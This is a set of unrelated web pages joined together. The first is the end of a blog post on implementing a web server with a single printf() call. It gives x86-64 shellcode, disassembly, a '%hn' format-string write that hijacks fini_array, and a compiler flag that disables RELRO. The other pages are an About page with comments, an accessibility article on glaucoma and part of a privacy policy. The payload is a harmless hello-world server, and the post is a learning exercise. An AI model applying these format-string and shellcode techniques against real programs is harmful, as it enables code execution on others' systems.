"\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/about/#comment-172507 | About – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. About My name is Yohanes Nugroho, I am an Indonesian programmer in a Software Company in Chiang Mai. In my spare time, I like to do programming. I have written many free and opensource software for many platforms . 31 thoughts on “About” Namik Tirak says: July 12, 2008 at 11:14 pm Hi, I have a FT3563-BT . I want to using debian on NAS like you. Can you make a frimware “xxxx.bin” to upgrade. Namik Best Regards. Reply gh1f4r says: July 22, 2008 at 11:20 am ” In my spare time, I like to do programming ” Luar biasa hobby-nya 🙂 Kapan aku bisa berguru ? Reply [email protected] says: July 22, 2008 at 6:25 pm need to know much about brontok..aomeone who know about brontok pls email me… Reply Wutipong W. says: August 15, 2008 at 1:31 am Hi, Your works with Agestar’s NAS is really interesting. I’ve just purchase one today and I’m thinking about trying to install Linux to it (would love to see it runs Gentoo). I’m a programmer too, but I don’t have much experience programing open source stuff (especially Linux). How’s the whether in Chaing Mai, it’s quite hot with rain in Bangkok. I’m looking for a chance to visit Chaing Mai some time :). Reply Silvina says: August 17, 2008 at 1:56 am Hi, I’m Silvina. I’ve used msgexport from march to july without a problem, you give me the solution for a big problem : to store my sms in a unique file. But I had a problem, I’ve updated my n95’s firmware to the last version, and I tryied to install the application once again and it gives me a certificate error. What can I do? Greetings, and thanks once again for the application. Silvina. Reply pebbie says: August 19, 2008 at 4:52 pm 😀 baru baca yang tentang kritik teknis Nusa.. 😀 ternyata ada yang nanggapin serius.. Reply yohanes says: August 19, 2008 at 9:45 pm @Wutipong: the weather is fine here. Many rains. I hope you have a good luck with your install. @Silvina: try redownloading the latest version. Reply zz says: September 24, 2008 at 11:47 am Try This product I think it better than AgeStar http://www.final4u.com/store/35-inch-hdd-nas-with-print-server-and-bit-torrent-p-9228.html Reply yohanes says: September 24, 2008 at 1:24 pm Hi zz What do you mean by better? I can’t find any review for it (or even the official product page for it), and from the specification, I think it has the same feature as Agestar. Reply zz says: September 24, 2008 at 10:20 pm I think it too.. , I cannot found any more information too.. I’m using NSLU2 , It very slow to run debian-arm,I think it not much ram to run , same Agestar ( ram 32 / flash 8) Reply zz says: September 25, 2008 at 6:23 pm Sorry I just saw real product I think performance same Agestar it using ram v58c2256164 and flash EN29LV640H Reply anacron says: October 2, 2008 at 5:47 pm Hello, I was just thinking with your agestar hacking, Which is really awesome job btw, is there a possibility to attach another drive or printer in agestar with the regular firmware, but when running debian, can it be used as a normal usb-port? can you attach any usb-device to it (of course which is supported by debian and the kernel) I had this idea, what if I would put a usb soundcard to it, I could have really small remote mp3-player in my livingroom, which could be controlled by any computer, that would be really nice, but as well if it would support other stuff as well, like bluetooth and such, it would make have debian in agestar much more usefull. Greetings from Finland Reply yohanes says: October 2, 2008 at 10:09 pm Hello, I was just thinking with your agestar hacking, Which is really awesome job btw, is there a possibility to attach another drive or printer in agestar with the regular firmware, but when running debian, can it be used as a normal usb-port? With the debian firmware, you can still use agestar as normal USB port (but you should shut it down using the shutdown command to make sure that all cache have been written to disk). can you attach any usb-device to it (of course which is supported by debian and the kernel) I had this idea, what if I would put a usb soundcard to it, I could have really small remote mp3-player in my livingroom, which could be controlled by any computer, that would be really nice, but as well if it would support other stuff as well, like bluetooth and such, it would make have debian in agestar much more usefull. Greetings from Finland Theoretically you should be able to attach any USB device to agestar, I only tried using USB to network adapter when developing the network driver and several USB disk, and everthyng works fine Regarding your idea about audio, because NSLU2 is a little bit more powerful (little bit faster, same memory) compared to Agestar, I look around to see if someone else has done it before. From the information in here: http://www.hermann-uwe.de/blog/playing-audio-on-the-nslu2 I tried madplay, and because i don’t have a USB audio device, i tried writing to device NULL, and it took 1 minute 5 seconds to decode a music file of 4 minutes 11 seconds. I also tried writing the decoded mp3 to file and it took 1 minute 36 seconds to decode. The decoding time is much faster than real time, so it seems the CPU in the Agestar is powerful enough to play MP3. (note: i also tried mplayer, and as he said it doesn’t work) Reply Bruce M Simpson says: October 14, 2008 at 3:41 pm I received a reply from Cavium about the STR9104. There are downloadable GPLed materials here: http://www-hk.linksys.com/servlet/Satellite?c=L_Content_C1&childpagename=HK%2FLayout&cid=1145862125829&pagename=Linksys%2FCommon%2FVisitorWrapper See under WAP4400N. cheers and keep on hacking… BMS Reply yohanes says: October 17, 2008 at 12:55 pm Hi Bruce thanks for the information, Yes, i found the source for WAP4400N when i started hacking Agestar, but there was some part missing from the Agestar kernel. Their kernel is based on Linux 2.4, and I have managed to port it to kernel 2.6. Reply nico says: November 16, 2008 at 10:20 pm hi yohanes, dari IF itb ya? masuk tahun berapa? aku 88 met kenal ya…. Reply nklogo says: March 12, 2009 at 10:18 pm link http://kildall.apana.org.au/~cjb/wordpress/archives/258 dead i want a serial port circuit Reply anacron says: July 17, 2009 at 4:21 am Sup! I’ve been trying to use agestar with cf to ide adapters and today with sd to ide adapter and with no luck, I wonder do you know if this is something related to the device itself, or maybe with kernel or something? It doesn’t boot up, correctly, I can’t get the ssh to work. When I plug the real harddrive in, it works like a charm. Reply Rubik2k says: September 3, 2009 at 10:22 am Hi Yohanes, You can found the GPL source for Procare eShare / Fibrionics F-Share (a very similar hardware based in STR9104 SoC), based on Linux 2.4.27, here: ftp://ftp.pearl.de/treiber/PX2019_12_80124.zip Best regards, Rubik2k at gmail dot com Reply ej says: October 10, 2009 at 1:44 am how do i buy the keyboard for wii? Reply kasaweb says: October 25, 2009 at 10:03 pm Hi, I’m trying to get my hand on “WELLAND ME-747AN-S”, a HDD NAS Enclosure with some wonderful spec (266MHz, 128MB RAM, 128M NAND Flash). I had no luck searching for a reseller that can ship to where I live, but I’m not giving up yet 🙂 My question was : How can I browse the content of a Yaffs2 partition image ? Because I found the firmware of this device, and I wanted to see how they configured it. Is there a way to do this without a real NAND Flash device ? Reply akamenov says: January 2, 2010 at 11:26 pm Hello. Maybe you can help me as there is no information on the NSB3AHT except for your site. In a foolish attempt to reset the device I’ve turned the device on while pressing the reset button. Now the network connectivity doesn’t work — it turns on for 3-4 seconds after device boot and then off. Is there any way to fix the device without connecting to the serial port? Reply joe says: April 21, 2010 at 5:39 pm thanks very much for the Bible apps that you did for free!!! i hope you do more Bible apps like dictionary & study books in the near future. pls notify me if you have done already. I use P1i. tyvm! [email protected] Reply James Mowery says: June 23, 2010 at 9:16 am Hello, I was wondering if you accept guest post for your blog. If you do, I would like to submit a few. You can see a sample of my work at LaptopComputers.org under the author James Mowery. I’ve also written for several high-profile blogs like Mashable, Perfromancing, and CMSWire. Thank you for your time. – James Reply Milan says: November 24, 2010 at 2:47 pm Dear Yohanes, I have one custom application to be make, I was wondering if you can make 1 for us. Pls contact as i m not having your contact details. Reply Mike says: August 29, 2011 at 2:16 am Hello Yohanes, I just got Tiny Meter for my Blackberry 9700. Very nice. One question I have is that when I first started the app, it asked for access to the Phone and won’t run if I don’t let it have access. I don’t understand why it needs Phone access. Can you explain? Thanks! Reply Marin says: December 28, 2011 at 9:39 pm Hi mate, I recently bricked my NAS device with CAVIUM CNS-2183 processor. Is there any way to flash it to his old img file? I cant find datasheet with explanation how to flash it and I see that you do something with it so if you have answer pls contact me with solution 🙂 Tnx Reply Ahmed says: January 3, 2012 at 8:46 pm Hi .. i was looking on google , how to root my device Acer betouch e130 and i found ur topic and i couldn’t understand much , right now i only need to ask you … if i can root my phone and how cos there is no app can root it and how i can the other stuff u tested on the phone 😀 waiting for your replay .. please add my Email [email protected] i really need your help , thanks in advance Reply roberto kaban says: March 24, 2014 at 4:11 am sangat lengkap sekali pembahasannya tentang Nusa. Reply zac mitchell says: April 12, 2014 at 10:24 pm hello I’ve enjoyed your emulator on wii. its great. recently I’ve tried to load a hard disk image called silverncastle. I can’t not for the life of me figure out how to load the file. I’ve shift f3. a fellow said maybe I had to load pro dos. please help iam very lost and confused and spent many hours trying to figure out how to load it. Reply Eitan Porat says: July 5, 2025 at 6:27 pm claude sends you here! it creates https://your-web-app-url.com/auth lol Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Tatyana Bayramova, CPACC Posted on Jan 11 • Originally published at tatanotes.com Glaucoma Awareness Month # a11y # discuss # news Glaucoma is one of the leading causes of blindness worldwide, affecting millions of people. It is estimated that approximately 80 million people globally have glaucoma, and the number is projected to grow to over 111 million by 2040 . Glaucoma is commonly known as the "silent thief of sight" because it usually has no symptoms in its early stages. With this condition, the optic nerve gets damaged slowly, leading to vision field reduction and, if left untreated, blindness. High intraocular pressure (IOP) is a major risk factor for glaucoma. Elevated IOP can damage the optic nerve fibers, leading to progressive vision loss, resulting in glaucoma. However, glaucoma can also occur in individuals with normal IOP levels, known as normal-tension glaucoma. High IOP alone is not a definitive indicator of glaucoma. Unfortunately, due to late diagnosis, one person I know lost their vision. Even though glaucoma has no cure yet, blindness could be prevented with regular eye exams and early treatment, such as applying eye drops, or performing an SLT procedure that helps lower IOP to prevent further damage to the optic nerve. What can you do to support people with glaucoma? Learn more about needs of people with glaucoma Glaucoma affects the way people perceive the environment. Use vision simulators like Glaucoma Vision Simulator or NoCoffee vision simulator for Firefox to understand how glaucoma affects vision. Adapt your digital and physical projects so that they're easy to use with visual impairments. Similar simulators exist for other visual impairments as well. For digital content, follow WCAG and PDF/UA standards WCAG criteria like 1.1.1. Non-text Content (Level A) , 1.4.4 Resize Text (Level AA) , and 4.1.2 Name, Role, Value (Level A) address needs of people with visual impairments, including glaucoma. This is not an exhaustive list, and you should aim to follow other WCAG criteria to ensure your digital content is accessible to people with disabilities. To ensure PDF accessibility, follow PDF/UA (PDF for Universal Access) standard. This will help make your documents accessible by users of assistive technologies, such as screen readers. Ensure compliance with EN 301 549 standard for a wider range of products European standard EN 301 549 specifies accessibility requirements for a broad range of products and services, including hardware, software, websites, and electronic documents. By following this standard, you can make your digital content is accessible to people with disabilities, including those with visual impairments like glaucoma. Complying with these standards is a great first step, but keep in mind that no guideline or automated tool guarantees accessibility. An effective way to ensure accessibility is to conduct accessibility user testing with people with disabilities. Accomodate for people with visual impairments, including glaucoma Adopt accessible practices in the physical world. Design physical spaces with accessibility in mind — for example, provide printed materials and signage in Braille or large print, whenever possible. To help people with glaucoma navigate the environment, install tactile paving. Support your local glaucoma organizations There are many organizations around the world that support glaucoma research, provide guidance and support groups for people with glaucoma. You can find a glaucoma society in your country on the World Glaucoma Association's list of member societies . Here are some glaucoma organizations you can support: European Glaucoma Society National Glaucoma Patient Support Groups American Glaucoma Society Glaucoma Research Society of Canada Glaucoma Australia By keeping accessibility barriers in mind, we can help ensure that individuals with glaucoma and other visual impairments can access and benefit from the great variety of products and public services. Sources How fast does glaucoma progress without treatment? Global prevalence of glaucoma and projections of glaucoma burden through 2040: a systematic review and meta-analysis Glaucoma Vision Simulator NoCoffee vision simulator for Firefox WCAG (Web Content Accessibility Guidelines) PDF/UA (PDF for Universal Access) European standard EN 301 549 Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Tatyana Bayramova, CPACC Follow Senior Software Engineer | CPACC | IAAP Member | Accessibility Joined Dec 3, 2024 More from Tatyana Bayramova, CPACC Accessibility Testing on Windows on Mac # a11y # testing # web # discuss Our Rights, Our Future, Right Now - Celebrating Human Rights Day # a11y # discuss # news # learning Today is the International Day of Persons with Disabilities # a11y # webdev # frontend # discuss 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Crypto Forem Close Privacy Policy Last Updated: September 01, 2023 This Privacy Policy is designed to help you understand how DEV Community Inc. (" DEV ," " we ," or " us ") collects, use, and discloses your personal information. What's With the Defined Terms? You'll notice that some words appear in quotes in this Privacy Policy. They're called "defined terms," and we use them so that we don't have to repeat the same language again and again. They mean the same thing in every instance, to help us make sure that this Privacy Policy is consistent. We've included the defined terms throughout because we want it to be easy for you to read them in context. 1. WHAT DOES THIS PRIVACY POLICY APPLY TO? 2. PERSONAL INFORMATION WE COLLECT 3. HOW WE USE YOUR INFORMATION 4. HOW WE DISCLOSE YOUR INFORMATION 5. YOUR PRIVACY CHOICES AND RIGHTS 6. INTERNATIONAL DATA TRANSFERS 7. RETENTION OF PERSONAL INFORMATION 8. SUPPLEMENTAL DISCLOSURES FOR CALIFORNIA RESIDENTS 9. SUPPLEMENTAL NOTICE FOR NEVADA RESIDENTS 10. CHILDREN'S INFORMATION 11. OTHER PROVISIONS 12. CONTACT US 1. WHAT DOES THIS PRIVACY POLICY APPLY TO? This Privacy Policy applies to personal information processed by us, including on our websites, mobile applications, and other online or offline offerings — basically anything we do. To make this Privacy Policy easier to read, our websites, mobile applications, and other offerings are all collectively called the " Services. " Beyond this Privacy Policy, your use of the Services is subject to our DEV Community Terms and our Forem Terms. The Services include both our own community forum at https://www.dev.to (the " DEV Community ") and the open source tool we provide called " Forem ," available at https://www.forem.com which allows our customers to create and operate their own online forums. We collect personal information from two categories of people: (1) our customers, who use Forem and our hosting services to run and host their own forums (we'll call them " Forem Operators "), and (2) the people who interact with DEV-hosted forums, including forums provided by Forem Operators utilizing Forem and separately our own DEV Community (we'll call them " Users "). An Important Note for Users Since we provide hosting services for Forem Operators, technically we also process your information on their behalf. That processing is governed by the contracts that we have in place with each Forem Operator, not this Privacy Policy. In other words, when you share your data on a DEV-hosted forum operated by a Forem Operator, we at DEV are basically just the "pipes" — we process the data on behalf of the Forem Operator, but don't do anything with it ourselves beyond what we're required to do under our contract (and by law). So, if you post your information on a DEV-powered forum provided by a Forem Operator, that Forem Operator's privacy policy applies, and any questions or requests relating to your data on that service should be directed to that Forem Operator, not us. Likewise, if you use our mobile application, you may also interact with forums that use DEV's open-source tools but do all their hosting and data collection themselves. For those forums, we at DEV have no access to your data, so be sure to read the privacy policy of any third-party hosted forum before posting. 2. PERSONAL INFORMATION WE COLLECT The categories of personal information we collect depend on whether you're a User or Forem Operator, how you interact with us, our Services, and the requirements of applicable law. Breaking it down, we collect three types of information: (1) information that you provide to us directly, (2) information we obtain automatically when you use our Services, and (3) information we get about you from other sources (such as third-party services and organizations). More details are below. A. Information You Provide to Us Directly We may collect the following personal information that you provide to us. Account Creation (for Forem Operators): We'll require your name and email address to get started, as well as some details about the Forem you want to run, such as: whether you're running the Forem on your own behalf or as part of an organization, and details about the community you want to support (how big is it, what topics does it cover, where do members currently communicate, how/if the community earns money, whether the community is open, invite-only or paid, any existing social media accounts, etc.) You'll need to tell us a bit about your personal coding background, and you'll have the option to provide your DEV username as well, if you are a member of the DEV.to community. Account Creation (for Users) : We collect name and email address from users that create an account on DEV Community. For other forums created by Forem Operators using Forem, the Forem Operator determines what information is required for User account creation for their respective forums. Interactive Features (for Users) . Like any other social network, both we and other Users of our Services may collect personal information that you submit or make available through our interactive features (e.g., messaging and chat features, commenting functionalities, forums, blogs, posts, and other social media pages). While we do have private messages that are only between you and the person you're messaging (as well as us and the Forem Operator, as applicable), any information you provide using the public sharing features of the Services, such as the information you post to your public profile or the topics you follow is public, including to recruiters and prospective employers, and is not subject to any of the privacy protections we mention in this Privacy Policy except where legally required. Please exercise caution before revealing any information that may identify you in the real world to others. Purchases . If you buy stuff on our shop site https://shop.dev.to/ (as either a User or Forem Operator), or otherwise if you pay us in connection with your use of the Forem service, we may collect personal information and details associated with your purchases, including payment information. Any payments made via our Services are processed by third-party payment processors, such as Stripe, Shopify, and PayPal. We do not directly collect or store any payment card information entered through our Services, but may receive information associated with your payment card information (e.g., your billing details). Your Communications with Us (Users and Forem Operators) . We may collect personal information, such as email address, phone number, or mailing address when you request information about our Services, register for our newsletter or loyalty program, request customer or technical support, apply for a job, or otherwise communicate with us. Surveys . We may contact you to participate in surveys. If you decide to participate, you may be asked to provide certain information, which may include personal information (for example, your home address). Sweepstakes or Contests . We may collect personal information you provide for any sweepstakes or contests that we offer. In some jurisdictions, we are required to publicly share information of sweepstakes and contest winners. Conferences, Trade Shows, and Other Events . We may collect personal information from individuals when we attend conferences, trade shows, and other events. Business Development and Strategic Partnerships . We may collect personal information from individuals and third parties to assess and pursue potential business opportunities. Job Applications . We may post job openings and opportunities on our Services. If you reply to one of these postings by submitting your application, CV and/or cover letter to us, we will collect and use your information to assess your qualifications. B. Information Collected Automatically We may collect personal information automatically when you use our Services: Automatic Data Collection . We may collect certain information automatically when you use our Services, such as your Internet protocol (IP) address, user settings, MAC address, cookie identifiers, mobile carrier, mobile advertising and other unique identifiers, browser or device information, location information (including approximate location derived from IP address), and Internet service provider. We may also automatically collect information regarding your use of our Services, such as pages that you visit before, during and after using our Services, information about the links you click, the types of content you interact with, the frequency and duration of your activities, and other information about how you use our Services. In addition, we may collect information that other people provide about you when they use our Services, including information about you when they tag you in their posts. Cookies, Pixel Tags/Web Beacons, and Other Technologies . We, as well as third parties that provide content, advertising, or other functionality on our Services, may use cookies, pixel tags, local storage, and other technologies (" Technologies ") to automatically collect information through your use of our Services. Cookies . Cookies are small text files placed in device browsers that store preferences and facilitate and enhance your experience. Pixel Tags/Web Beacons . A pixel tag (also known as a web beacon) is a piece of code embedded in our Services that collects information about engagement on our Services. The use of a pixel tag allows us to record, for example, that a user has visited a particular web page or clicked on a particular advertisement. We may also include web beacons in e-mails to understand whether messages have been opened, acted on, or forwarded. Our uses of these Technologies fall into the following general categories: Operationally Necessary . This includes Technologies that allow you access to our Services, applications, and tools that are required to identify irregular website behavior, prevent fraudulent activity and improve security or that allow you to make use of our functionality. Performance-Related . We may use Technologies to assess the performance of our Services, including as part of our analytic practices to help us understand how individuals use our Services ( see Analytics below ). Functionality-Related . We may use Technologies that allow us to offer you enhanced functionality when accessing or using our Services. This may include identifying you when you sign into our Services or keeping track of your specified preferences, interests, or past items viewed. Analytics . We may use Technologies and other third-party tools to process analytics information on our Services. Some of our analytics partners include Google Analytics. For more information,please visit Google Analytics' Privacy Policy . To learn more about how to opt-out of Google Analytics' use of your information, please click here . Social Media Platforms . Our Services may contain social media buttons such as Twitter, Facebook, GitHub, Instagram, and Twitch (that might include widgets such as the "share this" button or other interactive mini programs). These features may collect your IP address, which page you are visiting on our Services, and may set a cookie to enable the feature to function properly. Your interactions with these platforms are governed by the privacy policy of the company providing it. See the "Your Privacy Choices and Rights" section below to understand your choices regarding these Technologies. C. Information Collected from Other Sources We may obtain information about you from other sources, including through third-party services and organizations. For example, if you access our Services through a third-party application, such as an app store, a third-party login service (e.g., through Twitter, Apple, or GitHub), or a social networking site, we may collect whatever information about you from that third-party application that you have made available via your privacy settings. 3. HOW WE USE YOUR INFORMATION We use your information for a variety of business purposes, including to provide our Services, for administrative purposes, and to market our products and Services, as described below. A. Provide Our Services We use your information to fulfill our contract with you and provide you with our Services, such as: Managing your information and accounts; Providing access to certain areas, functionalities, and features of our Services; Answering requests for customer or technical support; Communicating with you about your account, activities on our Services, and policy changes; Processing your financial information and other payment methods for products or Services purchased; Processing applications if you apply for a job we post on our Services; and Allowing you to register for events. B. Administrative Purposes We use your information for various administrative purposes, such as: Pursuing our legitimate interests such as direct marketing, research and development (including marketing research), network and information security, and fraud prevention; Detecting security incidents, protecting against malicious, deceptive, fraudulent or illegal activity, and prosecuting those responsible for that activity; Measuring interest and engagement in our Services, including for usage-based billing purposes; Short-term, transient use, such as contextual customization of ads; Improving, optimizing, upgrading, or enhancing our Services; Developing new products and Services; Ensuring internal quality control and safety; Authenticating and verifying individual identities, including requests to exercise your rights under this policy; Debugging to identify and repair errors with our Services; Auditing relating to interactions, transactions and other compliance activities; Enforcing our agreements and policies; and Complying with our legal obligations. C. Marketing and Advertising our Products and Services We may use your personal information to tailor and provide you with content and advertisements for our Services, such as via email. If you have any questions about our marketing practices, you may contact us at any time as set forth in the "Contact Us" section below. D. Other Purposes We also use your information for other purposes as requested by you or as permitted by applicable law. Consent . We may use personal information for other purposes that are clearly disclosed to you at the time you provide personal information or with your consent. Automated Decision Making. We may engage in automated decision making, including profiling, such as to suggest topics or other Users for you to follow. DEV's processing of your personal information will not result in a decision based solely on automated processing that significantly affects you unless such a decision is necessary as part of a contract we have with you, we have your consent, or we are permitted by law to engage in such automated decision making. If you have questions about our automated decision making, you may contact us as set forth in the "Contact Us" section below. De-identified and Aggregated Information . We may use personal information and other information about you to create de-identified and/or aggregated information, such as de-identified demographic information, information about the device from which you access our Services, or other analyses we create. For example, we may collect system-wide information to ensure availability of the platform, or measure aggregate data trends to analyze and optimize our Services. Share Content with Friends or Colleagues. Our Services may offer various tools and functionalities. For example, we may allow you to provide information about your friends through our referral services. Our referral services may allow you to forward or share certain content with a friend or colleague, such as an email inviting your friend to use our Services. Please only share with us contact information of people with whom you have a relationship (e.g., relative, friend neighbor, or co-worker). 4. HOW WE DISCLOSE YOUR INFORMATION We disclose your information to third parties for a variety of business purposes, including to provide our Services, to protect us or others, or in the event of a major business transaction such as a merger, sale, or asset transfer, as described below. A. Disclosures to Provide our Services The categories of third parties with whom we may share your information are described below. Service Providers . We may share your personal information with our third-party service providers who use that information to help us provide our Services. This includes service providers that provide us with IT support, hosting, payment processing, customer service, and related services. For example, our Shop site is run by Shopify, who handle your shipping details on our behalf. Business Partners . We may share your personal information with business partners to provide you with a product or service you have requested. We may also share your personal information to business partners with whom we jointly offer products or services. Other Users . As described above in the "Personal Information We Collect" section of this Privacy Policy, our Service allows Users to share their profiles, 